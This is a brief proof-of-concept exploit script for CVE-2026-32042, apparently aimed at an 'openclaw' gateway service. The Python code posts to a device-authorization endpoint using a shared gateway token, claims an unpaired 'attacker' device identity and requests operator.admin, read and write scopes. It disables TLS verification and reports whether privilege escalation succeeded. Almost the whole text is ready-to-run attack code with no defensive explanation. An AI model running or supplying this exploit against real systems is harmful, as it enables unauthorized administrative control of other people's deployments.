CVE-2026-32042

import requests # Target URL url = "https://<target-openclaw-domain>/api/v1/device/authorize" # Valid shared gateway authentication token auth_token = "<VALID_SHARED_GATEWAY_TOKEN>" # Headers with the gateway auth headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Payload exploiting the vulnerability # Simulate an unpaired device identity requesting elevated scopes payload = { "device_id": "unpaired_attacker_device", "requested_scopes": ["operator.admin", "operator.read", "operator.write"] } try: response = requests.post(url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Privilege escalation successful!") print(f"[+] Granted scopes: {response.json().get('scopes')}") else: print("[-] Exploit failed") print(response.text) except Exception as e: print(f"Error: {e}")

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